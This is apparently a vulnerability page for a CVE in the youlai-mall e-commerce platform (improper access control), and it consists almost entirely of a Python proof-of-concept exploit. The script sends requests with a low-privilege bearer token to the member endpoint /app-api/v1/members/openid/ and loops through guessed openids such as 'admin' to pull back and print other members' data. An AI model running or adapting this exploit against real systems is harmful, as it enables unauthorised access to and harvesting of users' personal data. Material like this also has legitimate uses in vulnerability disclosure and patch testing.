CVE-2025-14086 | youlai-mall 权限控制不当漏洞

import requests import json # CVE-2025-14086 PoC - youlai-mall Improper Access Control # Target: /app-api/v1/members/openid/ TARGET_URL = "http://target-server.com" VULN_ENDPOINT = "/app-api/v1/members/openid/" def exploit_cve_2025_14086(target_url, openid): """ Exploit improper access control in youlai-mall The openid parameter is not properly validated against the authenticated user """ url = f"{target_url}{VULN_ENDPOINT}{openid}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json", "Authorization": "Bearer <attacker_token>" # Low-privilege token } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved data for openid: {openid}") print(f"[+] Response: {json.dumps(data, indent=2)}") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": # Target openid enumeration test_openids = ["user123", "admin", "test_user"] for openid in test_openids: print(f"[*] Testing openid: {openid}") exploit_cve_2025_14086(TARGET_URL, openid)